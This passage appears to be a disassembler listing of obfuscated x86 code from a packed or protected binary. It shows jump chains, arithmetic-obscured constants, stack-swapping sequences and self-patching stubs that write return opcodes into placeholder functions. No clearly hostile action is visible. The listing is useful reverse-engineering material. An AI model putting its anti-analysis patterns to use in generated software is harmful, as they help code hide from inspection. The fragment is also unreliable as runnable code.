; START	OF FUNCTION CHUNK FOR sub_444427

loc_442AF3:				; CODE XREF: sub_444427:loc_43CF39j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_444427
; ---------------------------------------------------------------------------

loc_442AF5:				; CODE XREF: y22d6.y.:0044D9D2j
		jmp	loc_445E05
; ---------------------------------------------------------------------------

loc_442AFA:				; CODE XREF: y22d6.y.:00443F5Cj
		jmp	nullsub_8

; =============== S U B	R O U T	I N E =======================================



sub_442AFF	proc near		; CODE XREF: sub_43FBC3-21BBp
					; sub_441030+6FACp ...
		push	eax
		mov	eax, ebp
		push	offset loc_437F45

loc_442B07:				; CODE XREF: y22d6.y.:loc_43FEC0j
		jmp	nullsub_50
sub_442AFF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441E5C

loc_442B0C:				; CODE XREF: sub_441E5C:loc_43B3BFj
		add	eax, edi
		pop	edi
		add	eax, 0D527F520h
		mov	eax, [eax]
		push	ebx
		pushf
		push	0B72EEA3Ah
		xchg	ecx, [esp+4+var_4]
		jmp	loc_43EB58
; END OF FUNCTION CHUNK	FOR sub_441E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA9E

loc_442B26:				; CODE XREF: sub_43BA9E+E3D2j
		xor	eax, 0D0A7F179h
		add	eax, ebp
		add	eax, 0D212F0E3h
		mov	eax, [eax]
		jmp	loc_44D92F
; END OF FUNCTION CHUNK	FOR sub_43BA9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A90

loc_442B3B:				; CODE XREF: sub_439A90:loc_44C538j
		jnz	loc_448F4B
		rol	ebp, 0Bh
		or	eax, 0F9E652F1h

loc_442B4A:				; CODE XREF: y22d6.y.:0044AFF9j
		pushf
		jmp	loc_44E5BA
; END OF FUNCTION CHUNK	FOR sub_439A90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D7E0

loc_442B50:				; CODE XREF: sub_44D7E0:loc_44BFB4j
		jz	loc_44B5AA
; END OF FUNCTION CHUNK	FOR sub_44D7E0
; START	OF FUNCTION CHUNK FOR sub_44AC0F

loc_442B56:				; CODE XREF: sub_44AC0F+Bj
		jmp	loc_4390B3
; END OF FUNCTION CHUNK	FOR sub_44AC0F
; ---------------------------------------------------------------------------

loc_442B5B:				; CODE XREF: y22d6.y.:00437C0Cj
		jmp	sub_43CA1A
; ---------------------------------------------------------------------------
		sub	eax, 0C0376EDBh
		or	eax, edi
		sbb	edi, 3CC49BA3h
		jmp	loc_4497FF
; ---------------------------------------------------------------------------

loc_442B73:				; DATA XREF: y22d6.y.:0044733Do
		lea	eax, nullsub_3
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_3
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	edx
		push	esi
		push	89766669h
		xchg	ebp, [esp]
		jmp	loc_43D07D
; ---------------------------------------------------------------------------

loc_442B94:				; CODE XREF: y22d6.y.:0044048Fj
		jz	loc_44339A
		pushf
; START	OF FUNCTION CHUNK FOR sub_439096

loc_442B9B:				; CODE XREF: sub_439096:loc_440482j
		add	edi, 0A27C4B2Fh
		xor	edi, 0B7BB4F5Ch
		sub	eax, edi
		pop	edi
		mov	edx, [esp-4+arg_0]
		jmp	loc_44936B
; END OF FUNCTION CHUNK	FOR sub_439096
; ---------------------------------------------------------------------------
		sub	edx, edi
		jmp	sub_449E26
; ---------------------------------------------------------------------------
		mov	ecx, 3B9C25E5h
		jmp	sub_444B7C
; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 4
		push	edi
		push	8A83B06Dh

loc_442BCD:				; CODE XREF: y22d6.y.:0043B6DCj
		jmp	loc_43D0E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4481EF

loc_442BD2:				; CODE XREF: sub_4481EF+59EDj
		popf
		jmp	loc_44B062
; END OF FUNCTION CHUNK	FOR sub_4481EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_442BD8:				; CODE XREF: sub_44B489-2FF3j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_44B062
		jmp	loc_44CA2E
; END OF FUNCTION CHUNK	FOR sub_44B489
; ---------------------------------------------------------------------------
		mov	edx, 0F75CA70h
		call	sub_44D293
		push	eax
		ror	eax, 11h
		push	ebx
		push	21646032h
		pop	ebx
		jmp	loc_43D57C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_230. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_442C07:				; CODE XREF: sub_448EB6+202j
		jmp	nullsub_373
; END OF FUNCTION CHUNK	FOR sub_448EB6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442C0C	proc near		; CODE XREF: sub_437F1F+7j
					; y22d6.y.:0043AA10p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004374AE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437AE0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437E49 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043907F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00439BFE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AD55 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B265 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043C6AD SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043DA58 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F5DF SIZE 0000002A BYTES
; FUNCTION CHUNK AT 004418E2 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00441C9E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442142 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00442EEF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444989 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044545C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00447C6A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044820A SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00449515 SIZE 00000005 BYTES

		push	esi
		mov	esi, ebp
		xchg	esi, [esp+0]
		mov	ebp, esp
		jmp	loc_437AE0
sub_442C0C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C77

loc_442C19:				; CODE XREF: sub_448C77:loc_445E82j
		call	sub_44A413
		mov	eax, 0EEE68DF1h
		push	edx
		push	73BEFBCFh
		pop	edx
		rol	edx, 10h
		add	edx, 4744CB0h
		xchg	edx, [esp+8+var_8]
		jmp	sub_43F7FF
; END OF FUNCTION CHUNK	FOR sub_448C77
; ---------------------------------------------------------------------------

loc_442C3B:				; CODE XREF: y22d6.y.:0043E055j
		and	eax, 0B0A600DDh

; =============== S U B	R O U T	I N E =======================================



sub_442C41	proc near		; CODE XREF: sub_4380CD+104BFp

; FUNCTION CHUNK AT 00438F79 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C3B8 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00440359 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B866 SIZE 00000018 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		jmp	loc_44B866
sub_442C41	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		ror	ecx, 0Ah
		jmp	loc_43E6BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D44A

loc_442C58:				; CODE XREF: sub_44D44A-11FDFj
		xor	eax, 2BBEDA5h
		ror	eax, 12h
		mov	edx, [esp+0]
		push	eax
		jmp	loc_4463E0
; END OF FUNCTION CHUNK	FOR sub_44D44A
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, ebp
		call	sub_441E1E

loc_442C72:				; CODE XREF: y22d6.y.:0043E4D3j
					; y22d6.y.:0043E4F1j
		push	offset loc_43CE8C
		jmp	loc_44433A
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440395

loc_442C7D:				; CODE XREF: sub_440395+AB32j
		jmp	loc_44890C
; END OF FUNCTION CHUNK	FOR sub_440395
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C77

loc_442C82:				; CODE XREF: sub_448C77+1681j
		jmp	loc_43BDCB
; END OF FUNCTION CHUNK	FOR sub_448C77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_442C87:				; CODE XREF: sub_44057E-5DA3j
		jmp	nullsub_241
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------

loc_442C8C:				; CODE XREF: y22d6.y.:0044B73Ej
		sub	eax, 903B1EA1h
		and	eax, 0ED2CF5CAh
		rol	eax, 1Ch
		add	eax, 41CA40D4h
; START	OF FUNCTION CHUNK FOR sub_43E185

loc_442CA1:				; CODE XREF: sub_43E185:loc_438ABAj
					; y22d6.y.:loc_44D874j
		add	eax, ebp
		push	edi
		push	4A7D38C3h
		pop	edi
		jmp	loc_445933
; END OF FUNCTION CHUNK	FOR sub_43E185
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444427

loc_442CAF:				; CODE XREF: sub_444427:loc_44D4EDj
		mov	ecx, edi
		xchg	ecx, [esp+0]
		mov	edi, edx
		xchg	edi, [esp+0]
		push	esi
		mov	esi, ebx
		xchg	esi, [esp+4+var_4]
		push	491B6255h

loc_442CC4:				; CODE XREF: sub_43E5C2:loc_44548Fj
					; y22d6.y.:loc_4484D9j
		jmp	loc_44E573
; END OF FUNCTION CHUNK	FOR sub_444427
; ---------------------------------------------------------------------------

loc_442CC9:				; CODE XREF: y22d6.y.:loc_44327Dj
		call	sub_439FCB
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_442CCE:				; CODE XREF: sub_448EB6-2E3Fj
		jnp	loc_442A67

loc_442CD4:				; CODE XREF: sub_448EB6:loc_448F1Fj
		add	esi, 5FBA1500h
		and	esi, 3EBAD9D7h
		add	esi, 0D1FD29CAh
		xor	eax, esi
		jmp	loc_4428A0
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_442CED:				; CODE XREF: sub_44E5C7-8AC4j
		jnz	loc_43E6AC
		jmp	loc_44207B
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; ---------------------------------------------------------------------------
		and	edx, 5F1BE31Ch
		jmp	sub_43B98D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E38B

loc_442D03:				; CODE XREF: sub_44E38B:loc_43ABAEj
		jge	loc_444C82
		popf
		xchg	eax, [ebx]
		jmp	loc_44B8B8
; END OF FUNCTION CHUNK	FOR sub_44E38B
; ---------------------------------------------------------------------------

loc_442D11:				; DATA XREF: sub_44A595+Co
		mov	dword ptr [ebp-14h], 4
		mov	eax, [ebp-14h]
		mov	[ebp-4], eax
		mov	eax, [ebp-14h]
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-20h]
		jmp	loc_44DD7B
; ---------------------------------------------------------------------------

loc_442D2C:				; CODE XREF: y22d6.y.:0043929Aj
		jz	loc_43B224
		jmp	loc_44034A
; ---------------------------------------------------------------------------
		popf
		jmp	loc_43B91F
; ---------------------------------------------------------------------------

loc_442D3D:				; DATA XREF: y22d6.y.:004442FCo
		xchg	edx, [esp]
		call	sub_44DA98

loc_442D45:				; CODE XREF: y22d6.y.:00440EECj
		jmp	loc_44D5FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6E1

loc_442D4A:				; CODE XREF: sub_43A6E1+12EBDj
		cmp	edx, 4FB656D8h
		jmp	loc_446DB1
; END OF FUNCTION CHUNK	FOR sub_43A6E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_442D55:				; CODE XREF: sub_448EB6+3ADEj
		jnz	loc_4394D2

loc_442D5B:				; CODE XREF: sub_44949C+12j
		jmp	loc_43CB17
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_442D60:				; CODE XREF: sub_4450FD-61A1j
		jmp	loc_44AFC9
; END OF FUNCTION CHUNK	FOR sub_4450FD
; ---------------------------------------------------------------------------
		mov	[edx], eax
		jmp	loc_4394C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E51C

loc_442D6C:				; CODE XREF: sub_44E51C:loc_449443j
		or	esi, 7A9E5D12h
		cmp	esi, 1208CD94h
		jmp	loc_43C855
; END OF FUNCTION CHUNK	FOR sub_44E51C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_442D7D:				; CODE XREF: sub_448EB6:loc_442707j
		jz	loc_439B48
		jmp	loc_43F83F
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		or	ecx, 0DB5771FBh
		adc	esi, eax
		jmp	sub_44D313
; ---------------------------------------------------------------------------

loc_442D95:				; CODE XREF: y22d6.y.:loc_43AA73j
		jnz	loc_444D75
		jmp	loc_442E96
; ---------------------------------------------------------------------------

loc_442DA0:				; CODE XREF: y22d6.y.:0043B54Ej
		jnz	loc_43D717

; =============== S U B	R O U T	I N E =======================================



sub_442DA6	proc near		; CODE XREF: sub_444581-47E1p

; FUNCTION CHUNK AT 0043F215 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044BAD8 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	eax
		push	eax
		mov	edx, eax
		jmp	loc_44BAD8
sub_442DA6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_442DB3:				; CODE XREF: y22d6.y.:0043881Aj
		jp	loc_43B84B

; =============== S U B	R O U T	I N E =======================================



sub_442DB9	proc near		; CODE XREF: y22d6.y.:0044CD5Bp

; FUNCTION CHUNK AT 0044C5D1 SIZE 0000000A BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	[ebp-4], eax
		xor	eax, eax
		jmp	loc_44C5D1
sub_442DB9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7D4

loc_442DC7:				; CODE XREF: sub_43B7D4+9130j
		xchg	ebp, ecx
		jnb	loc_44A0EB
		test	esi, ecx
		jmp	loc_44DE73
; END OF FUNCTION CHUNK	FOR sub_43B7D4
; ---------------------------------------------------------------------------

loc_442DD6:				; CODE XREF: y22d6.y.:loc_438949j
		call	sub_43CA1A
		mov	ds:dword_41E084, eax
		lea	eax, nullsub_332
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_332
; ---------------------------------------------------------------------------

loc_442DEF:				; CODE XREF: y22d6.y.:0043F394j
		adc	ecx, 91EB1F05h

loc_442DF5:				; CODE XREF: y22d6.y.:loc_43F380j
		push	offset loc_43D85A
		jmp	loc_44812E

; =============== S U B	R O U T	I N E =======================================



sub_442DFF	proc near		; CODE XREF: y22d6.y.:004439A0j
					; sub_44C7F1+12p
		xchg	edx, [esp+0]
		pop	edx
		mov	ds:off_41E07C, eax
		lea	eax, sub_43BC16
		mov	byte ptr [eax],	0C3h
		jmp	sub_43BC16
sub_442DFF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		shl	eax, 18h
		jmp	loc_44304C

; =============== S U B	R O U T	I N E =======================================



sub_442E1F	proc near		; CODE XREF: sub_43C3D7:loc_43A84Fp
					; y22d6.y.:00441AAFj

; FUNCTION CHUNK AT 0043B39C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B866 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043C588 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043CE3F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044C753 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		mov	eax, [ebp+8]
		jmp	loc_43C588
sub_442E1F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416F3

loc_442E39:				; CODE XREF: sub_4416F3+B934j
		jz	loc_43BF27
		jmp	loc_4370B4
; END OF FUNCTION CHUNK	FOR sub_4416F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B43

loc_442E44:				; CODE XREF: sub_437B43:loc_44A42Dj
		mov	eax, 99B20D50h
		call	sub_43CA1A
		push	edx
		push	0D171A4BFh
		pop	edx
		xor	edx, 0CF8D1AA0h
		add	edx, 0E1452249h
		jmp	loc_440A61
; END OF FUNCTION CHUNK	FOR sub_437B43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4421D3

loc_442E66:				; CODE XREF: sub_4421D3+Fj
		mov	ecx, eax
		call	sub_43CF9E
; END OF FUNCTION CHUNK	FOR sub_4421D3
; START	OF FUNCTION CHUNK FOR sub_44BBBA

loc_442E6D:				; CODE XREF: sub_44BBBA:loc_43B6A0j
		mov	eax, [ebp-8]

loc_442E70:				; CODE XREF: sub_43F422+D1D8j
		shl	eax, 0Fh
		push	offset sub_43E7F3
		jmp	nullsub_190
; END OF FUNCTION CHUNK	FOR sub_44BBBA

; =============== S U B	R O U T	I N E =======================================



sub_442E7D	proc near		; CODE XREF: y22d6.y.:0043E14Bj
					; sub_43A9C6:loc_4409B9p

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		add	ecx, 134AF0A5h
		xchg	ecx, [esp-4+arg_0]
		jmp	sub_44CDB7
sub_442E7D	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_357. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D063

loc_442E90:				; CODE XREF: sub_44D063-2E3j
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_44D063
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_203. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_442E96:				; CODE XREF: y22d6.y.:00442D9Bj
		jmp	loc_44DEB8
; ---------------------------------------------------------------------------

loc_442E9B:				; DATA XREF: y22d6.y.:loc_43D813o
		lea	eax, sub_43E0A9
		mov	byte ptr [eax],	0C3h
		jmp	loc_4459DD

; =============== S U B	R O U T	I N E =======================================



sub_442EA9	proc near		; CODE XREF: sub_403249+2CBp
					; sub_416A1E+40p ...
		call	sub_44AA49

loc_442EAE:				; CODE XREF: y22d6.y.:0043C0E5j
		jmp	nullsub_51
sub_442EA9	endp

; ---------------------------------------------------------------------------
		test	edx, eax
		jmp	loc_44B037
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_442EBA:				; CODE XREF: sub_4432B8:loc_43F299j
		mov	edx, [ebp+8]
		mov	[edx-8], eax
		jmp	loc_4419FE
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_442EC5:				; CODE XREF: y22d6.y.:0044D9FCj
		cmp	dword ptr [ebp-10h], 2
		call	sub_4400EF
; START	OF FUNCTION CHUNK FOR sub_43B7D4

loc_442ECE:				; CODE XREF: sub_43B7D4+895j
		jmp	loc_445963
; END OF FUNCTION CHUNK	FOR sub_43B7D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440494

loc_442ED3:				; CODE XREF: sub_440494:loc_43DAD9j
		jge	loc_44DC7D

loc_442ED9:				; CODE XREF: sub_448A59+4384j
		jmp	loc_444193
; END OF FUNCTION CHUNK	FOR sub_440494
; ---------------------------------------------------------------------------

loc_442EDE:				; CODE XREF: y22d6.y.:004405CFj
		jmp	locret_440070
; ---------------------------------------------------------------------------
		and	edi, 13D5BC7h
		jmp	loc_44DC78
; ---------------------------------------------------------------------------

locret_442EEE:				; CODE XREF: y22d6.y.:0043F7C3j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442C0C

loc_442EEF:				; CODE XREF: sub_442C0C-3608j
		jmp	locret_448FED
; END OF FUNCTION CHUNK	FOR sub_442C0C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_318. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_442EF5:				; CODE XREF: y22d6.y.:0044CAB6j
		jmp	loc_44BC96
; ---------------------------------------------------------------------------
		dw 8A0Fh
		dd 20D4h, 0FF9EA1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_442F05:				; CODE XREF: y22d6.y.:loc_43E339j
		pop	ebx
		push	offset sub_440543
		jmp	locret_449D5D
; ---------------------------------------------------------------------------

loc_442F10:				; CODE XREF: y22d6.y.:0043FA12j
		mov	[esi], eax
		call	sub_43E81B

loc_442F17:				; CODE XREF: y22d6.y.:0044D356j
		jmp	sub_44ABDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A095

loc_442F1C:				; CODE XREF: sub_44A095+1762j
		jmp	loc_43DD34
; END OF FUNCTION CHUNK	FOR sub_44A095
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_442F21:				; CODE XREF: sub_44BCC2-494Bj
		or	esi, ecx
		push	ebx
		shr	edx, 11h

loc_442F27:				; CODE XREF: sub_44BCC2:loc_43B55Bj
		mov	eax, [ebp-108h]
		mov	byte ptr [ebp+eax-100h], 0
		jmp	loc_441D7E
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_187. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44798E

loc_442F3B:				; CODE XREF: sub_44798E+Dj
		jmp	loc_43B73B
; END OF FUNCTION CHUNK	FOR sub_44798E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_442F40:				; CODE XREF: sub_439051+8324j
		jmp	loc_439A2D
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------

loc_442F45:				; CODE XREF: y22d6.y.:00444103j
		and	ebx, eax
		xchg	edx, ebp

loc_442F49:				; CODE XREF: y22d6.y.:loc_44DD53j
		push	0D04A0EDh
		pop	eax
		jmp	loc_44912C
; ---------------------------------------------------------------------------

loc_442F54:				; CODE XREF: y22d6.y.:loc_4371D1j
					; y22d6.y.:004453CCj
		xchg	edi, [ebp+0]

loc_442F57:				; CODE XREF: y22d6.y.:loc_4453B9j
		sub	esi, 85D1096Bh
		test	esi, 20000h
		jmp	loc_444FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAC6

loc_442F68:				; CODE XREF: sub_43FAC6:loc_43FF56j
		jnz	loc_4458D2
		jmp	loc_44DCB2
; END OF FUNCTION CHUNK	FOR sub_43FAC6
; ---------------------------------------------------------------------------

loc_442F73:				; CODE XREF: y22d6.y.:00448597j
		cmp	edx, 8E55A005h
		jmp	loc_447347
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4475B3

loc_442F7E:				; CODE XREF: sub_4475B3:loc_448CF9j
		mov	eax, [esp-8+arg_4]
		push	edx

loc_442F82:				; CODE XREF: sub_4432B8+8DF1j
		push	ecx
		push	0F34B3ABBh
		jmp	loc_444228
; END OF FUNCTION CHUNK	FOR sub_4475B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AF5B

loc_442F8D:				; CODE XREF: sub_43AF5B+8A29j
		cmp	esi, ecx
		jmp	loc_437CB7
; END OF FUNCTION CHUNK	FOR sub_43AF5B
; ---------------------------------------------------------------------------

loc_442F94:				; CODE XREF: y22d6.y.:00445B32j
		xchg	edi, [eax]

; =============== S U B	R O U T	I N E =======================================



sub_442F96	proc near		; CODE XREF: sub_437901:loc_43BE07p

; FUNCTION CHUNK AT 0043DCE5 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	ebp
		mov	ebp, eax
		push	offset loc_43F52F
		jmp	loc_43DCE5
sub_442F96	endp


; =============== S U B	R O U T	I N E =======================================



sub_442FA7	proc near		; CODE XREF: sub_44D313-AC3Ap
					; y22d6.y.:004477E1j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437AD6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439006 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043C38C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C5D6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043C64E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004494E6 SIZE 00000013 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [eax]
		add	eax, [ebp-4]
		call	sub_43AB31
		cmp	eax, [ebp-8]
		jnz	loc_440F3F
		jmp	loc_43C38C
sub_442FA7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447D7F

loc_442FC3:				; CODE XREF: sub_447D7F-2583j
		jnz	loc_44B980
		xchg	ebp, [ebx]
		sbb	edx, edi
		jmp	loc_44B97B
; END OF FUNCTION CHUNK	FOR sub_447D7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6E1

loc_442FD2:				; CODE XREF: sub_43A6E1:loc_43ACC1j
		xor	eax, 0F4FEA340h
		call	sub_43CA1A
		mov	ds:dword_41E110, eax
		call	sub_44DAA6
; END OF FUNCTION CHUNK	FOR sub_43A6E1
; START	OF FUNCTION CHUNK FOR sub_44C980

loc_442FE8:				; CODE XREF: sub_44C980+3j
		jmp	loc_44D7FF
; END OF FUNCTION CHUNK	FOR sub_44C980
; ---------------------------------------------------------------------------
		add	edi, 485C05BCh
		jmp	sub_449BBC
; ---------------------------------------------------------------------------
		mov	ds:off_41E074, eax
		lea	eax, loc_44B5EA
		call	sub_444865
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_443009:				; CODE XREF: sub_43D20E-17B4j
		jmp	loc_44DC15
; END OF FUNCTION CHUNK	FOR sub_43D20E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B9F3

loc_44300E:				; CODE XREF: sub_43B9F3+Bj
		jmp	loc_4414B0
; END OF FUNCTION CHUNK	FOR sub_43B9F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C242

loc_443013:				; CODE XREF: sub_43C242+1C8j
		shl	ecx, 7

loc_443016:				; CODE XREF: sub_44807C:loc_4376E7j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_440251
		jmp	loc_44E3C5
; END OF FUNCTION CHUNK	FOR sub_43C242
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
dword_443028	dd 0B3C2D08h		; DATA XREF: sub_440D11+10w
					; sub_43704E:loc_44408Cr
; ---------------------------------------------------------------------------
		call	nullsub_7
		jmp	ds:dword_41E0B4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		inc	ecx
		mov	ebx, 0CDE90044h
		retf
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FE8F0FFFh, 0E9000020h, 147Dh
; ---------------------------------------------------------------------------

loc_44304C:				; CODE XREF: y22d6.y.:00442E1Aj
		mov	esi, ecx

; =============== S U B	R O U T	I N E =======================================



sub_44304E	proc near		; CODE XREF: sub_448C77+Ap

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043EDF1 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_43CA1A
		mov	ds:off_41E12C, eax
		lea	eax, sub_441A2B

loc_443063:				; CODE XREF: sub_446082-8960j
		mov	byte ptr [eax],	0C3h
		jmp	loc_43EDF1
sub_44304E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44306B:				; CODE XREF: sub_448EB6+11Aj
		pop	ecx
		rol	esi, 1Ah
		xor	esi, 0BB5DC33Ch
		add	eax, esi
		pop	esi
		ror	eax, 12h
		jmp	loc_443BFF
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_443080:				; CODE XREF: y22d6.y.:00439161j
		push	30634A03h
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_443085:				; CODE XREF: sub_44B17B:loc_43914Ej
		xor	ebx, 0BFEDC30Fh
		and	ebx, 8CB60EA5h
		test	ebx, 200000h
		jmp	loc_447130
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1Ch]
		push	0D0714680h
		pop	edx
		add	edx, 2D07D4ACh
		sub	edx, 0C3B711Dh
		add	edx, 3D919DDEh
		add	edx, ebp
		add	edx, 0D130B7FFh
		jmp	loc_43E9AB
; ---------------------------------------------------------------------------

loc_4430C4:				; DATA XREF: sub_44CB3F-15986o
		mov	eax, [ebp-20h]
		push	offset sub_444717
		jmp	loc_4484B7
; ---------------------------------------------------------------------------

loc_4430D1:				; DATA XREF: sub_43BC16-3B7Eo
		push	eax
		mov	eax, edx
		call	sub_44C7F1
; START	OF FUNCTION CHUNK FOR sub_444183

